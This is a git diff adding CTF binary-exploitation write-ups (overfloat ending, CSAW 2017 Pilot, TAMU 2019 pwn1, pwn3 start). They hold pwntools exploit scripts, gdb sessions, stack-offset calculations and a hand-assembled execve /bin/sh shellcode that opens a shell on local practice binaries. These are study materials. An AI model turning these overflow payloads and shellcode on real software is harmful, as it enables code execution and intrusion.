print("libc base: " + hex(base)) + + for i in range(7): + sendVal(0xdeadbeefdeadbeef) + # Overwrite the return address with a onegadget + sendVal(base + oneShot) + + # Send done so our rop chain executes + target.sendline(b'done') + + target.interactive() + + + +Now let's test it: + + + [ 192.168.0.18/24 ] [ /dev/pts/9 ] [binexp/2/overf] + → l + total 4.3M + drwxr-xr-x 2 nothing nothing 4.0K Mar 6 20:34 . + drwxr-xr-x 12 nothing nothing 4.0K Mar 6 19:10 .. + -rw-r--r-- 1 nothing nothing 2.3M Mar 6 19:11 core + -rw-r--r-- 1 nothing nothing 1.3K Mar 6 20:34 exploit.py + -rw-r--r-- 1 nothing nothing 2.0M Mar 6 19:10 libc-2.27.so + -rwxr-xr-x 1 nothing nothing 14K Mar 6 19:10 overfloat + + [ 192.168.0.18/24 ] [ /dev/pts/9 ] [binexp/2/overf] + → python3 exploit.py + [+] Starting local process './overfloat': pid 2897697 + [*] '/home/nothing/binexp/2/overf/libc-2.27.so' + Arch: amd64-64-little + RELRO: Partial RELRO + Stack: Canary found + NX: NX enabled + PIE: PIE enabled + b' _ .--. \n ( ` ) \n .-\' `--, \n _..----.. ( )`-. \n .\'_|` _|` _|( .__, )\n /_| _| _| _( (_, .-\' \n ;| _| _| _| \'-\'__,--\'`--\' \n | _| _| _| _| | \n _ || _| _| _| _| \n _( `--.\\_| _| _| _|/ \n .-\' )--,| _| _|.` \n (__, (_ ) )_| _| / \n `-.__.\\ _,--\'\\|__|__/ \n ;____; \n \\YT/ \n || \n |""| \n \'==\' \n\nWHERE WOULD YOU LIKE TO GO?\nLAT[0]: LON[0]: LAT[1]: LON[1]: LAT[2]: LON[2]: LAT[3]: LON[3]: LAT[4]: LON[4]: LAT[5]: LON[5]: LAT[6]: LON[6]: LAT[7]: LON[7]: LAT[8]: LON[8]: LAT[9]: LON[9]: LAT[0]: LON[0]: LAT[1]: BON VOYAGE!\n' + libc base: 0x7f4b371d8310 + [*] Switching to interactive mode + + _ .--. + ( ` ) + .-' `--, + _..----.. ( )`-. + .'_|` _|` _|( .__, ) + /_| _| _| _( (_, .-' + ;| _| _| _| '-'__,--'`--' + | _| _| _| _| | + _ || _| _| _| _| + _( `--.\_| _| _| _|/ + .-' )--,| _| _|.` + (__, (_ ) )_| _| / + `-.__.\ _,--'\|__|__/ + ;____; + \YT/ + || + |""| + '==' + + WHERE WOULD YOU LIKE TO GO? + LAT[0]: LON[0]: LAT[1]: LON[1]: LAT[2]: LON[2]: LAT[3]: LON[3]: LAT[4]: LON[4]: LAT[5]: LON[5]: LAT[6]: LON[6]: LAT[7]: LON[7]: LAT[8]: BON VOYAGE! + [*] Got EOF while reading in interactive + $ cat flag + flag{g0ttem_b0yz} + + + +And that's it! We have been able to spawn a shell and print the flag. + +## Title + +text + + + + +` ![]() + +## Title + +text + + + + +` ![]() + diff --git a/2/pilot.md b/2/pilot.md new file mode 100644 index 0000000..2ddf075 --- /dev/null +++ b/2/pilot.md @@ -0,0 +1,513 @@ +# CSAW 2017 Pilot + +## Downloading the binary file + + + [ 192.168.0.18/24 ] [ /dev/pts/52 ] [binexp/2/pilot] + → wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/06-bof_shellcode/csaw17_pilot/pilot + --2021-03-01 14:32:43-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/06-bof_shellcode/csaw17_pilot/pilot + Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt' + Resolving github.com (github.com)... 140.82.121.4 + Connecting to github.com (github.com)|140.82.121.4|:443... connected. + HTTP request sent, awaiting response... 302 Found + Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/06-bof_shellcode/csaw17_pilot/pilot [following] + --2021-03-01 14:32:44-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/06-bof_shellcode/csaw17_pilot/pilot + Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.111.133, 185.199.109.133, ... + Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected. + HTTP request sent, awaiting response... 200 OK + Length: 10472 (10K) [application/octet-stream] + Saving to: ‘pilot’ + + pilot 100%[=================================================================>] 10.23K --.-KB/s in 0.002s + + 2021-03-01 14:32:44 (5.39 MB/s) - ‘pilot’ saved [10472/10472] + + + [ 192.168.0.18/24 ] [ /dev/pts/52 ] [binexp/2/pilot] + → file pilot + pilot: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6ed26a43b94fd3ff1dd15964e4106df72c01dc6c, stripped + + [ 192.168.0.18/24 ] [ /dev/pts/52 ] [binexp/2/pilot] + → chmod +x pilot + + + +` ![]() + +## Solution + +First let's run the binary to see what it does: + + + [ 192.168.0.18/24 ] [ /dev/pts/52 ] [binexp/2/pilot] + → ./pilot + [*]Welcome DropShip Pilot... + [*]I am your assitant A.I.... + [*]I will be guiding you through the tutorial.... + [*]As a first step, lets learn how to land at the designated location.... + [*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics... + [*]Good Luck Pilot!.... + [*]Location:0x7ffee9a9c6c0 + [*]Command:ls + [*]There are no commands.... + [*]Mission Failed.... + + [ 192.168.0.18/24 ] [ /dev/pts/52 ] [binexp/2/pilot] + → ./pilot + [*]Welcome DropShip Pilot... + [*]I am your assitant A.I.... + [*]I will be guiding you through the tutorial.... + [*]As a first step, lets learn how to land at the designated location.... + [*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics... + [*]Good Luck Pilot!.... + [*]Location:0x7ffeeecbfee0 + [*]Command:help + + + +The binary basically prints out text with an interesting 'location' memory address, then we enter a command and either it gives us 'mission failed' or it might give us something else. Let's inspect it in ghidra: + +![](22.png) + +Now unlike the previous challenges, the main function called isn't called 'main' instead it is called 'FUN_004009a6'. Now let's inspect the parts of the code that are interesting: + + + sVar2 = read(0,local_28,0x40); + + + +Now here we can see that it scans 0x40 bytes worth of input into the local_28 variable and this variable can only hold 32 bytes worth of input, so this is a buffer overflow vulnerability. The address that is being printed is an infoleak for the start of our input in memory on the stack: + +![](23.png) + +Now that we know that our local input variable is local_28 let's look at the stack layout in ghidra: + + + ************************************************************** + * FUNCTION * + ************************************************************** + undefined FUN_004009a6() + undefined AL:1 <****RETURN> + undefined1 Stack[-0x28]:1 local_28 XREF[2]: 00400aa4(*), + 00400acf(*) + FUN_004009a6 XREF[4]: entry:004008cd(*), + entry:004008cd(*), 00400de0, + 00400e80(*) + 004009a6 55 PUSH RBP + +Here we don't see anything between the start of our input and the return address, so this means that we should be able to use the overflow vulnerability to overwrite the return address to get code execution. so let's inspect that from gdb, we will set a breakpoint right after the read call, and look at the memory there: + + + 00400ae0 e8 3b fd CALL read ssize_t read(int __fd, void * __ + ff ff + 00400ae5 48 83 f8 04 CMP RAX,0x4 + + + +The breakpoint will be at 0x00400ae5 because it's right after the read call: + + + [ 192.168.0.18/24 ] [ /dev/pts/54 ] [binexp/2/pilot] + → gdb ./pilot + GNU gdb (GDB) 10.1 + Copyright (C) 2020 Free Software Foundation, Inc. + License GPLv3+: GNU GPL version 3 or later + This is free software: you are free to change and redistribute it. + There is NO WARRANTY, to the extent permitted by law. + Type "show copying" and "show warranty" for details. + This GDB was configured as "x86_64-pc-linux-gnu". + Type "show configuration" for configuration details. + For bug reporting instructions, please see: + . + Find the GDB manual and other documentation resources online at: + . + + For help, type "help". + Type "apropos word" to search for commands related to "word"... + GEF for linux ready, type `gef' to start, `gef config' to configure + 92 commands loaded for GDB 10.1 using Python engine 3.9 + Reading symbols from ./pilot... + (No debugging symbols found in ./pilot) + gef➤ b *0x400ae5 + Breakpoint 1 at 0x400ae5 + gef➤ r + Starting program: /home/nothing/binexp/2/pilot/pilot + [*]Welcome DropShip Pilot... + [*]I am your assitant A.I.... + [*]I will be guiding you through the tutorial.... + [*]As a first step, lets learn how to land at the designated location.... + [*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics... + [*]Good Luck Pilot!.... + [*]Location:0x7fffffffdf30 + [*]Command:13371337 + + Breakpoint 1, 0x0000000000400ae5 in ?? () + [ Legend: Modified register | Code | Heap | Stack | String ] + ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── + $rax : 0x9 + $rbx : 0x0000000000400b90 → push r15 + $rcx : 0x00007ffff7ce0052 → 0x5677fffff0003d48 ("H="?) + $rdx : 0x40 + $rsp : 0x00007fffffffdf30 → 0x3733333137333331 ("13371337"?) + $rbp : 0x00007fffffffdf50 → 0x0000000000000000 + $rsi : 0x00007fffffffdf30 → 0x3733333137333331 ("13371337"?) + $rdi : 0x0 + $rip : 0x0000000000400ae5 → cmp rax, 0x4 + $r8 : 0xb + $r9 : 0x00007fffffffdd00 → 0x0000000000000000 + $r10 : 0xfffffffffffff61c + $r11 : 0x246 + $r12 : 0x00000000004008b0 → xor ebp, ebp + $r13 : 0x0 + $r14 : 0x0 + $r15 : 0x0 + $eflags: [zero CARRY PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] + $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 + ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── + 0x00007fffffffdf30│+0x0000: 0x3733333137333331 ← $rsp, $rsi + 0x00007fffffffdf38│+0x0008: 0x000000000040080a → add cl, ch + 0x00007fffffffdf40│+0x0010: 0x00007fffffffe040 → 0x0000000000000001 + 0x00007fffffffdf48│+0x0018: 0x0000000000000000 + 0x00007fffffffdf50│+0x0020: 0x0000000000000000 ← $rbp + 0x00007fffffffdf58│+0x0028: 0x00007ffff7c17b25 → <__libc_start_main+213> mov edi, eax + 0x00007fffffffdf60│+0x0030: 0x00007fffffffe048 → 0x00007fffffffe362 → "/home/nothing/binexp/2/pilot/pilot" + 0x00007fffffffdf68│+0x0038: 0x00000001000011bf + ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── + 0x400ad8 mov rsi, rax + 0x400adb mov edi, 0x0 + 0x400ae0 call 0x400820 + ●→ 0x400ae5 cmp rax, 0x4 + 0x400ae9 setle al + 0x400aec test al, al + 0x400aee je 0x400b2f + 0x400af0 mov esi, 0x400d90 + 0x400af5 mov edi, 0x6020a0 + ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── + [#0] Id 1, Name: "pilot", stopped 0x400ae5 in ?? (), reason: BREAKPOINT + ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── + [#0] 0x400ae5 → cmp rax, 0x4 + [#1] 0x7ffff7c17b25 → __libc_start_main() + [#2] 0x4008d9 → hlt + ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── + gef➤ + + + +So now we set the breakpoint where we wanted, then ran the binary, put in a simple pattern '13371337' and then we hit our breakpoint. Now let's search for our pattern in memory as well as the address of the return address: + + + gef➤ search-pattern 13371337 + [+] Searching '13371337' in memory + [+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rwx + 0x7fffffffdf30 - 0x7fffffffdf38 → "13371337[...]" + + gef➤ i f + Stack level 0, frame at 0x7fffffffdf60: + rip = 0x400ae5; saved rip = 0x7ffff7c17b25 + called by frame at 0x7fffffffe030 + Arglist at 0x7fffffffdf28, args: + Locals at 0x7fffffffdf28, Previous frame's sp is 0x7fffffffdf60 + Saved registers: + rbp at 0x7fffffffdf50, rip at 0x7fffffffdf58 + + +Now we see that our pattern is located at 0x7fffffffdf30, and the return address is at 0x7fffffffdf58 so let's calculate the offset in python3: + + + [ 192.168.0.18/24 ] [ /dev/pts/52 ] [binexp/2/pilot] + → python3 + Python 3.9.2 (default, Feb 20 2021, 18:40:11) + [GCC 10.2.0] on linux + Type "help", "copyright", "credits" or "license" for more information. + >>> hex( 0x7fffffffdf30 - 0x7fffffffdf58 ) + '-0x28' + + + +And here we see that we have a 0x28 bytes offset. So our goal here is to create a payload that will first fill the 0x28 offset with nullbytes (\x00) and then we will be able to overwrite the return address, however we must keep in mind that the Location of the pattern changes each time, so we need a way to get it no matter how it changes: + + + [ 192.168.0.18/24 ] [ /dev/pts/52 ] [binexp/2/pilot] + → ./pilot | grep Location + [*]Location:0x7ffdc6df25c0 + ^C + + [ 192.168.0.18/24 ] [ /dev/pts/52 ] [binexp/2/pilot] + → ./pilot | grep Location + [*]Location:0x7ffca4cfcef0 + ^C + + [ 192.168.0.18/24 ] [ /dev/pts/52 ] [binexp/2/pilot] + → ./pilot | grep Location + [*]Location:0x7ffdaad8fc90 + ^C + + [ 192.168.0.18/24 ] [ /dev/pts/52 ] [binexp/2/pilot] + → ./pilot | grep Location + [*]Location:0x7ffed0e90200 + + + +So let's begin to write our python3 exploit: + + + [ 192.168.0.18/24 ] [ /dev/pts/52 ] [binexp/2/pilot] + → vim exploit.py + + + + + from pwn import * + + target = process('./pilot') + + + #print the output text until the 'Location:' part + print(target.recvuntil("[*]Location:")) + + #right after the 'Location:' part, is the memory address of our input + leak = target.recvline() + + inputAdr = int(leak.strip(b"\n"), 16) + + #store the memory address until the newline character (16 characters) + + print(inputAdr) + + payload = "" + + + + +Now here we have the variable called 'inputAddr' that is the memory address of our input. Now we need to put in shellcode in the payload, the first 2 writeups of this challenge that i found werent explaining the source of the shellcode that was found, but thankfully there was a writeup that explained it [here](https://0xdeadbeefjerky.com/2017/09/23/csaw-ctf-pilot-writeup.html): + +_" We know that the target is a 64-bit Linux (ELF) binary (as per the ‘file’ output), so why not provide shellcode that executes /bin/sh and drop us into a shell on the host running ‘pilot’? NYU’s Offensive Security, Incident Response and Internet Security Laboratory (OSIRIS Lab) was kind enough to open source an entire repository of shellcode written by NYU students. Browsing through this repository, we come across a directory containing shellcode designed to achieve our goal - 64-bit local /bin/sh. [...] This will be our shellcode that executes /bin/sh to drop us into a shell on the target system."_ + +So we could clone the repository locally and generate the shellcode ourselves aswell, but we can also pick a 64bit /bin/sh shellcode from [shell-storm.org](http://shell-storm.org/shellcode/) and just copy paste it. Or we could also contruct our own shellcode instead, this is better because that way we know what the source assembly code is, and we compile the shellcode ourselves:: + + + [ 192.168.0.18/24 ] [ /dev/pts/55 ] [binexp/2/pilot] + → vim 7.asm + + + + + section .text + global _start + + _start: + + xor esi, esi ; xor out esi and edx + xor edx, edx + + push 0x3b ;push the value of the syscall id onto the stack (0x3b is 59) + pop rax ;take the out the top of the stack to put it into rax + + mov rbx, 0x68732f2f6e69622f ; put the little endian hex val of '/bin//sh' into rbx + + push rsi + push rbx + mov rdi, rsp + syscall + + + +Now let's compile it and test it: + + + [ 192.168.0.18/24 ] [ /dev/pts/7 ] [binexp/2/pilot] + → nasm -f elf64 7.asm + + [ 192.168.0.18/24 ] [ /dev/pts/7 ] [binexp/2/pilot] + → ld 7.o -o 7 + + [ 192.168.0.18/24 ] [ /dev/pts/7 ] [binexp/2/pilot] + → ./7 + + [ 192.168.100.1/24 ] [ /dev/pts/7 ] [/home/nothing/binexp/2/pilot] + → echo $0 + bash + + [ 192.168.100.1/24 ] [ /dev/pts/7 ] [/home/nothing/binexp/2/pilot] + → exit + exit + + [ 192.168.0.18/24 ] [ /dev/pts/7 ] [binexp/2/pilot] + → echo $0 + /bin/zsh + + + +And we see that it enables us to switch from zsh to bash! now let's make shellcode out of it after we adjust the assembly file: + + + [bits 64] + + xor esi, esi ; xor out esi and edx + xor edx, edx + + push 0x3b ;push the value of the syscall id onto the stack (0x3b is 59) + pop rax ;take the out the top of the stack to put it into rax + + mov rbx, 0x68732f2f6e69622f ; put the little endian hex val of '/bin//sh' into rbx + + push rsi ; push the value of rsi + push rbx ; push the value of rbx + mov rdi, rsp ; move the value of rsp ( ) into rdi (first arguement) + syscall + + + +Now let's compile it: + + + [ 192.168.0.18/24 ] [ /dev/pts/7 ] [binexp/2/pilot] + → nasm -f bin 7.asm -o shellcode + + [ 192.168.0.18/24 ] [ /dev/pts/7 ] [binexp/2/pilot] + → cat shellcode + 11j;XH/bin//shVSH% + + + +Now let's view it inside of python exploit script: + + + from pwn import * + + + #read the shellcode file we compiled + with open('shellcode', 'rb') as f: + shellcode = f.read() + + #initialize the payload + payload = b"" + + payload += shellcode + + print(payload) + print(hexdump(payload)) + + + + +Now let's test our script: + + + [ 192.168.0.18/24 ] [ /dev/pts/7 ] [binexp/2/pilot] + → python3 exploit.py + b'1\xf61\xd2j;XH\xbb/bin//shVSH\x89\xe7\x0f\x05' + 00000000 31 f6 31 d2 6a 3b 58 48 bb 2f 62 69 6e 2f 2f 73 │1·1·│j;XH│·/bi│n//s│ + 00000010 68 56 53 48 89 e7 0f 05 │hVSH│····│ + 00000018 + + + +Now let's make the full payload and view the hexdump of it: + + + from pwn import * + + + target = process('./pilot') + + + #print the output text until the 'Location:' part + print(target.recvuntil("[*]Location:")) + + #right after the 'Location:' part, is the memory address of our input + leak = target.recvline() + inputAdr = int(leak.strip(b"\n"), 16) + + #store the memory address until the newline character (16 characters) + print(inputAdr) + + + + with open('shellcode', 'rb') as f: + shellcode = f.read() + + #initialize the payload + payload = b"" + + #add the shellcode to the payload this is 21 bytes long or 0x15 in hexa + payload += shellcode + + #add the remaining required padding to the payload so that it attains the 0x28 size (thanks to added nullbytes) + payload += b"\x00" * (0x28 - len(payload)) + + #overwrite the return address with the address of the start of our input + payload += p64(inputAdr) + + print(payload) + print(hexdump(payload)) + + + +The plan here is to first push shellcode onto the stack, and we know where it is thanks to the memory address that's given to us, then we fill the gap with nullbytes, and then overwrite the return address to point to the start of our shellcode + + + [ 192.168.0.18/24 ] [ /dev/pts/7 ] [binexp/2/pilot] + → python3 exploit.py + [+] Starting local process './pilot': pid 2235412 + b'[*]Welcome DropShip Pilot...\n[*]I am your assitant A.I....\n[*]I will be guiding you through the tutorial....\n[*]As a first step, lets learn how to land at the designated location....\n[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...\n[*]Good Luck Pilot!....\n[*]Location:' + 140732702676240 + b'1\xf61\xd2j;XH\xbb/bin//shVSH\x89\xe7\x0f\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10U\xc0\xe2\xfe\x7f\x00\x00' + 00000000 31 f6 31 d2 6a 3b 58 48 bb 2f 62 69 6e 2f 2f 73 │1·1·│j;XH│·/bi│n//s│ + 00000010 68 56 53 48 89 e7 0f 05 00 00 00 00 00 00 00 00 │hVSH│····│····│····│ + 00000020 00 00 00 00 00 00 00 00 10 55 c0 e2 fe 7f 00 00 │····│····│·U··│····│ + 00000030 + + + +Now that we have our payload, we send the payload to the binary file with the following last 2 lines : + + + + target.send(payload) + target.interactive() + + + + + [ 192.168.0.18/24 ] [ /dev/pts/7 ] [binexp/2/pilot] + → python3 exploit.py + [+] Starting local process './pilot': pid 2248247 + b'[*]Welcome DropShip Pilot...\n[*]I am your assitant A.I....\n[*]I will be guiding you through the tutorial....\n[*]As a first step, lets learn how to land at the designated location....\n[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...\n[*]Good Luck Pilot!....\n[*]Location:' + 140730313557488 + b'1\xf61\xd2j;XH\xbb/bin//shVSH\x89\xe7\x0f\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf0EYT\xfe\x7f\x00\x00' + 00000000 31 f6 31 d2 6a 3b 58 48 bb 2f 62 69 6e 2f 2f 73 │1·1·│j;XH│·/bi│n//s│ + 00000010 68 56 53 48 89 e7 0f 05 00 00 00 00 00 00 00 00 │hVSH│····│····│····│ + 00000020 00 00 00 00 00 00 00 00 f0 45 59 54 fe 7f 00 00 │····│····│·EYT│····│ + 00000030 + [*] Switching to interactive mode + [*]Command:$ cat flag.txt + flag{g0ttem_b0yz} + $ exit + [*] Got EOF while reading in interactive + $ exit + [*] Process './pilot' stopped with exit code 0 (pid 2248247) + [*] Got EOF while sending in interactive + + + +And that's it! we have been able to spawn a shell and print out the flag. + +## Title + +text + + + + +` ![]() + +## Title + +text + + + + +` ![]() + diff --git a/2/pwn1.md b/2/pwn1.md new file mode 100644 index 0000000..3a53238 --- /dev/null +++ b/2/pwn1.md @@ -0,0 +1,320 @@ +# TAMU 2019 pwn1 + +## Downloading the binary file + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/pwn1] + → wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/04-bof_variable/tamu19_pwn1/pwn1 + --2021-02-23 13:16:19-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/04-bof_variable/tamu19_pwn1/pwn1 + Resolving github.com (github.com)... 140.82.121.4 + Connecting to github.com (github.com)|140.82.121.4|:443... connected. + HTTP request sent, awaiting response... 302 Found + Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/04-bof_variable/tamu19_pwn1/pwn1 [following] + --2021-02-23 13:16:20-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/04-bof_variable/tamu19_pwn1/pwn1 + Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.111.133, 185.199.109.133, ... + Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected. + HTTP request sent, awaiting response... 200 OK + Length: 7536 (7.4K) [application/octet-stream] + Saving to: ‘pwn1’ + + pwn1 100%[=======================================================================================================================================================================================================>] 7.36K --.-KB/s in 0.003s + + 2021-02-23 13:16:20 (2.58 MB/s) - ‘pwn1’ saved [7536/7536] + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/pwn1] + → file pwn1 + pwn1: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=d126d8e3812dd7aa1accb16feac888c99841f504, not stripped + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/pwn1] + → chmod +x pwn1 + + +` ![]() + +## Solution + +First step, let's run the binary to see what it does: + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/pwn1] + → ./pwn1 + Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see. + What... is your name? + nothing + I don't know that! Auuuuuuuugh! + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/pwn1] + → ./pwn1 + Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see. + What... is your name? + nobody + I don't know that! Auuuuuuuugh! + + +similar to the previous 2 challenges, it prompts us for some text, and we need to put in something specific, so let's inspect the binary from ghidra: + +![](5.png) + + + /* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */ + + undefined4 main(void) + + { + int iVar1; + char local_43 [43]; + int local_18; + undefined4 local_14; + undefined *local_10; + + local_10 = &stack0x00000004; + setvbuf(stdout,(char *)0x2,0,0); + local_14 = 2; + local_18 = 0; + puts( + "Stop! Who would cross the Bridge of Death must answer me these questions three, ere theother side he see." + ); + puts("What... is your name?"); + fgets(local_43,0x2b,stdin); + iVar1 = strcmp(local_43,"Sir Lancelot of Camelot\n"); + if (iVar1 != 0) { + puts("I don\'t know that! Auuuuuuuugh!"); + /* WARNING: Subroutine does not return */ + exit(0); + } + puts("What... is your quest?"); + fgets(local_43,0x2b,stdin); + iVar1 = strcmp(local_43,"To seek the Holy Grail.\n"); + if (iVar1 != 0) { + puts("I don\'t know that! Auuuuuuuugh!"); + /* WARNING: Subroutine does not return */ + exit(0); + } + puts("What... is my secret?"); + gets(local_43); + if (local_18 == -0x215eef38) { + print_flag(); + } + else { + puts("I don\'t know that! Auuuuuuuugh!"); + } + return 0; + } + + +looking at the disassembly code, we see a few interesting things. First of all our input text is stored in the variable 'local_43' and then it gets compared to the string of text 'Sir Lancelot of Camelot', depending on that it will either exit with the text 'i don't know that!' or proceed. so let's continue: + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/pwn1] + → ./pwn1 + Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see. + What... is your name? + Sir Lancelot of Camelot + What... is your quest? + To seek the Holy Grail. + What... is my secret? + something secret + I don't know that! Auuuuuuuugh! + + +Likewise, we also see that we need to input the seek the holy grail quest text, but then we do not know the secret passphrase yet. So we need to investigate further: + + + puts("What... is my secret?"); + gets(local_43); + if (local_18 == -0x215eef38) { + print_flag(); + } + else { + puts("I don\'t know that! Auuuuuuuugh!"); + } + return 0; + + +in here, our input text gets put into local_43, and then it is basically not even using our text, instead the binary file checks if local_18 is the same as -0x215eef38, so let's see what this is about: + + + int local_18; + + [...] + + local_18 = 0; + + [...] + + if (local_18 == -0x215eef38) { + print_flag(); + } + else { + puts("I don\'t know that! Auuuuuuuugh!"); + } + + +apparently local_18 is supposed to be an integer being set to 0, let's get more info on this integer: + +![](6.png) + + + ************************************************************** + * FUNCTION * + ************************************************************** + undefined main(undefined1 param_1) + undefined AL:1 + undefined1 Stack[0x4]:1 param_1 XREF[1]: 00010779(*) + undefined4 Stack[0x0]:4 local_res0 XREF[1]: 00010780(R) + undefined1 Stack[-0x10]:1 local_10 XREF[1]: 000108d9(*) + undefined4 Stack[-0x14]:4 local_14 XREF[1]: 000107ad(W) + undefined4 Stack[-0x18]:4 local_18 XREF[2]: 000107b4(W), + 000108b2(R) + undefined1 Stack[-0x43]:1 local_43 XREF[5]: 000107ed(*), + 00010803(*), + 0001084f(*), + 00010865(*), + 000108a6(*) + main XREF[5]: Entry Point(*), + _start:000105e6(*), 00010ab8, + 00010b4c(*), 00011ff8(*) + 00010779 8d 4c 24 04 LEA ECX=>param_1,[ESP + 0x4] + + + +and let's get the information as to what our integer should be: + +![](7.png) + + + 000108b2 81 7d f0 CMP dword ptr [EBP + local_18],0xdea110c8 + c8 10 a1 de + + + +right here we see that the if statement compares our local_18 variable to the 0xdea110c8 value, if it is equal, it will call the print_flag function, so let's check out what we have about that function: + +![](7.png) + + + /* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */ + + void print_flag(void) + + { + FILE *__fp; + int iVar1; + + puts("Right. Off you go."); + __fp = fopen("flag.txt","r"); + while( true ) { + iVar1 = _IO_getc((_IO_FILE *)__fp); + if ((char)iVar1 == -1) break; + putchar((int)(char)iVar1); + } + putchar(10); + return; + } + + +what we need to do here basically is that we have to use the gets call to overwrite the contents of local_18 to become 0xdea110c8 in order to get the flag.txt. Now looking at the following assembly code: + + + ************************************************************** + * FUNCTION * + ************************************************************** + undefined main(undefined1 param_1) + undefined AL:1 + undefined1 Stack[0x4]:1 param_1 XREF[1]: 00010779(*) + undefined4 Stack[0x0]:4 local_res0 XREF[1]: 00010780(R) + undefined1 Stack[-0x10]:1 local_10 XREF[1]: 000108d9(*) + undefined4 Stack[-0x14]:4 local_14 XREF[1]: 000107ad(W) + undefined4 Stack[-0x18]:4 local_18 XREF[2]: 000107b4(W), + 000108b2(R) + undefined1 Stack[-0x43]:1 local_43 XREF[5]: 000107ed(*), + 00010803(*), + 0001084f(*), + 00010865(*), + 000108a6(*) + main XREF[5]: Entry Point(*), + _start:000105e6(*), 00010ab8, + 00010b4c(*), 00011ff8(*) + 00010779 8d 4c 24 04 LEA ECX=>param_1,[ESP + 0x4] + + + +we see that our input (local_43) starts at offset -0x43. we also see that local_18 starts at offset -0x18. so we need to take into account the following offset: **0x43 - 0x18 = 0x2b** between the start of our input and local_18. Then we will be able to overflow it and overwrite local_18 with 0xdea110c8 so let's write the python exploit: + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/pwn1] + → ls -lash + total 20K + 4.0K drwxr-xr-x 2 nothing nothing 4.0K Feb 23 13:35 . + 4.0K drwxr-xr-x 3 nothing nothing 4.0K Feb 23 13:16 .. + 4.0K -rw-r--r-- 1 nothing nothing 18 Feb 23 13:35 flag.txt + 8.0K -rwxr-xr-x 1 nothing nothing 7.4K Feb 23 13:16 pwn1 + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/pwn1] + → vim exploit.py + + + + + from pwn import * + + target = process('./pwn1') + + payload = b"" + payload += b"0"*0x2b + payload += p32(0xdea110c8) + + target.sendline("Sir Lancelot of Camelot") + target.sendline("To seek the Holy Grail.") + + target.sendline(payload) + target.interactive() + + + +So first we create the payload ( 2b zeroes for the initial padding and then with the little endian value 0xdea110c8). After the payload is created, we send the 2 strings of text the binary wants to get past the first 2 questions, and then we send the payload. After that we get into an interactive shell to see what the result is: + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/pwn1] + → vim exploit.py + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/pwn1] + → python3 exploit.py + [+] Starting local process './pwn1': pid 34429 + [*] Switching to interactive mode + [*] Process './pwn1' stopped with exit code 0 (pid 34429) + Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see. + What... is your name? + What... is your quest? + What... is my secret? + Right. Off you go. + flag{g0ttem_b0yz} + + [*] Got EOF while reading in interactive + $ :-) + + + +And that's it! We have been able to print out the flag thanks to our buffer overflow payload. + +![]() + +## Title + +text + + + + +` ![]() + +## Title + +text + + + + +` ![]() + diff --git a/2/pwn3.md b/2/pwn3.md new file mode 100644 index 0000000..04f0f9b --- /dev/null +++ b/2/pwn3.md @@ -0,0 +1,340 @@ +# TAMU 2019 Pwn3 + +## Downloading the binary file + + + [ 192.168.0.18/24 ] [ /dev/pts/9 ] [binexp/2/pwn3] + → wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/06-bof_shellcode/tamu19_pwn3/pwn3 + --2021-03-05 12:37:20-- 